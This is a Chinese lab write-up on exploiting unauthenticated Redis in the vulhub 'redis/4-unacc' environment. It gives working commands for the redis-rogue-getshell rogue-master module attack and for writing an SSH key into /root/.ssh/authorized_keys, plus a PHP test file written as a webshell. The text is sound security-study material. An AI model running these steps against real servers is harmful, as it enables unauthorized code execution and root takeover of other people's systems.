渗透环境

攻击机:   IP: 192.168.66.130(Kali)

漏洞收录于:vulhub/redis/4-unacc

涉及知识点:redis未授权访问

影响版本:redis 版本 < 6.x

漏洞的产生条件有以下两点:

  1. Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
  2. 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

复现漏洞

一、 启动漏洞容器

docker-compose up -d

可以看到redis运行在默认端口6379上

二、未授权连接

redis-cli -h 192.168.66.130

redis-cli -h [IP] -p [port] -a [password]

当使用默认端口6379时可不使用参数-p

测试连接,ping一下,成功连接

三、get shell

一般来说有两种方式get shell:

  1. 使用现成工具redis-rogue-getshell,项目地址:https://github.com/vulhub/redis-rogue-getshell.git
  2. 通过向靶机写入SSH公钥实现SSH登录

但由于vulhub环境搭建的问题,在写入SSH公钥时会遇到无法将工作目录设置为/root/.ssh的问题,因此这里只能用第一种姿势get shell。不过第二种方法下面也会提到。

姿势一:redis-rogue-getshell

漏洞背景

Redis 4.x及5.0.5之前的版本支持主从复制模式,攻击者可伪造一个恶意主节点(Master),诱导目标Redis作为从节点(Slave)连接,通过传输恶意数据流注入攻击载荷。

核心步骤

  • 主从关系建立

    攻击机运行脚本redis-master.py,监听指定端口(如8989),伪装成主节点。目标Redis被设置为从节点后,会自动同步攻击机发送的数据。
  • 加载恶意模块

    脚本通过Redis的MODULE LOAD命令,将预编译的恶意模块exp.so上传至目标服务器。该模块包含执行系统命令的功能。
  • 命令执行

    利用模块中的system.exec方法执行-c参数指定的命令(如ls),从而控制目标服务器。
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell/RedisModulesSDK
make # 编译的时候可能会报错,不用管
cd .. # 回到redis-rogue-getshell
./redis-master.py -r 192.168.66.130 -p 6379 -L 192.168.66.130 -P 8989 -f RedisModulesSDK/exp/exp.so -c "ls"

[!NOTE]

-r 192.168.66.130 # 目标Redis服务器的IP地址

-p 6379 # 目标Redis服务的端口(默认6379)

-L 192.168.66.130 # 攻击机监听的IP地址(伪装为主节点)

-P 8989 # 攻击机监听的端口(用于主从同步)

-f RedisModulesSDK/exp/exp.so # 恶意动态链接库(.so文件路径)

-c "ls" # 要在目标服务器上执行的命令

可以看到whoami已经执行成功。

姿势二:写入SSH

redis-cli常用命令

命令 作用
keys 列出当前数据库中所有的键
info 查看redis信息
config set dir [path] 设置工作目录
config set dbfilename [filename] 设置文件名
set [key] [value] 设置键值对
config get dir 检查工作目录是否设置成功
config get dbfilename 检查备份文件名是否设置成功
save 进行一次备份操作
flushall 删除所有数据(慎用)
del key 删除键为key的数据

由于没有开启其他web服务,我们的webshell也无法解析。但是可以先尝试能否写入文件。

设置路径、文件

config set dir /tmp
config set dbfilename test.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

[!NOTE]

写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行

进入容器查看是否已经成功写入

可以看到已经成功写入。接下来我们要做的是在攻击机上生成ssh的登录公钥,将公钥写入靶机/root/.ssh/authorized_keys文件中,攻击机即可ssh连接靶机。

ssh-keygen -t rsa		# 生成公钥,执行后可以设置生成的路径、密码等,可以直接回车跳过

公钥默认生成路径为/root/.ssh/id_rsa.pub,对应的私钥为/root/.ssh/id_rsa

cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt # 将生成的公钥写入1.txt中。前后的换行是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行
cat 1.txt | redis-cli -h 192.168.66.130 -x set crack # 将1.txt的内容作为值,crack作为键,设置键值对
config set dir /root/.ssh # 就是在这一步,靶机提示没有权限,应该是vulhub环境搭建的问题
config set dbfilename authorized_keys
save

至此,ssh公钥已经写入靶机,只要攻击机使用私钥id_rsa进行ssh连接即可

ssh -i /root/.ssh/id_rsa root@192.168.66.130

【vulhub】redis 4-unacc (redis未授权访问)的更多相关文章

  1. 验证docker的Redis镜像也存在未授权访问漏洞

    看到了这篇老外的博客:Over 30% of Official Images in Docker Hub Contain High Priority Security Vulnerabilities于 ...

  2. redis 4.x及以上的未授权访问

    00x01 环境搭建 选择在kali中复现 选择了redis5.0.5版本 1.下载并安装: $ wget http://download.redis.io/releases/redis-5.0.5. ...

  3. redis未授权访问漏洞——简单记录

    从0复现redis未授权访问漏洞 环境:centos8(ip:10.0.0.3) 安装 redis 工具:kali(10.1.1.136) 1. 介绍 Redis REmote DIctionary ...

  4. Redis未授权访问漏洞分析

    catalog . Redis简介 . 漏洞概述 . 漏洞利用方式 . 修复方式 1. Redis简介 Relevant Link: http://www.cnblogs.com/LittleHann ...

  5. [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上

    一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...

  6. Redis未授权访问缺陷让服务器沦为肉鸡

    朋友的一个项目说接到阿里云的告警,提示服务器已沦为肉鸡,网络带宽被大量占用,网站访问很慢,通过SSH远程管理服务器还频繁断开链接.朋友不知如何下手,便邀请我帮忙处理. 阿里云的安全告警邮件内容: 在没 ...

  7. 修补--Redis未授权访问漏洞

    --------------------------------阿里云解决方案----------------------------------- 一.漏洞描述 Redis因配置不当可以导致未授权访 ...

  8. Redis未授权访问

    最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再次记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R ...

  9. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  10. Redis 未授权访问漏洞(附Python脚本)

    0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...

随机推荐

  1. 埃尼阿克ENIAC与计算机发展,及信息技术发展史

    一.埃尼阿克ENIAC 第二次世界大战期间,国军方为了研发新型的大炮和导弹,设立了"弹道研究实验室".实验室为了计算炮弹弹道,用了200多人加班加点进行计算,速度依感无法达到军方要 ...

  2. PDFSharp - Graphics

    PDFSharp - Graphics Graphics - PDFsharp and MigraDoc Wiki 所有的 Graphics 类型都设计成模仿来自 System.Drawing 命名空 ...

  3. 【Linux】课堂练习作业

    # 作业Day01-关机练习作业 查询在线用户 who -H 查询服务状态 systemctl status sshd 停止服务 systemctl stop sshd 停止后再次检查服务状态 方法一 ...

  4. Qt编写地图综合应用4-仪表盘

    一.前言 仪表盘在很多汽车和物联网相关的系统中很常用,最直观的其实就是汽车仪表盘,这个以前主要是机械的仪表,现在逐步改成了智能的带屏带操作系统的仪表,这样美观性和拓展性功能性大大增强了,上了操作系统的 ...

  5. Docker简易操作

    Docker简易操作 1.启动docker sudo docker run [OPTIONS] IMAGE [COMMAND] [ARG...] sudo docker run -d -p 8009: ...

  6. 视频分析框架VideoPipe完整介绍

    (2024年4月编写) github地址 https://github.com/sherlockchou86/video_pipe_c 作者微信 zhzhi78(备注 videopipe),拉群交流( ...

  7. Omnivore 替代品 Readeck 安装与使用教程

    前段时间 Omnivore 宣布服务关停,作为一个长期使用 Omnivore 的用户,我需要寻找替代方案. 我对替代品的核心需求是: 浏览器插件:支持一键剪藏当前网页. RSS 支持:能够输入 RSS ...

  8. Solution -「WC 2014」「洛谷 P3920」紫荆花之恋

    \(\mathscr{Description}\)   Link.   维护一棵树,初始时树空.接下来 \(n\) 次操作,每次操作加入一片叶子 \(u\),\(u\) 到其邻接点的边权为 \(w\) ...

  9. Spring Security 基于JWT的单点登陆(SSO)开发及原理解析

    JDK1.8Spring boot 2.xSpring Security 5.x 单点登录(Single Sign On),简称为SSO,是目前比较流行的企业业务整合的解决方案之一. SSO的定义是在 ...

  10. SpringBoot实现人脸识别功能

    一.人脸注册 step1:人像采集.在注册页面上用html中video组件和js调用笔记本摄像头,并抓取人像图片.没有摄像头的笔记本.台式机的童鞋告辞吧,走好不送... step2:人像上传至项目文件 ...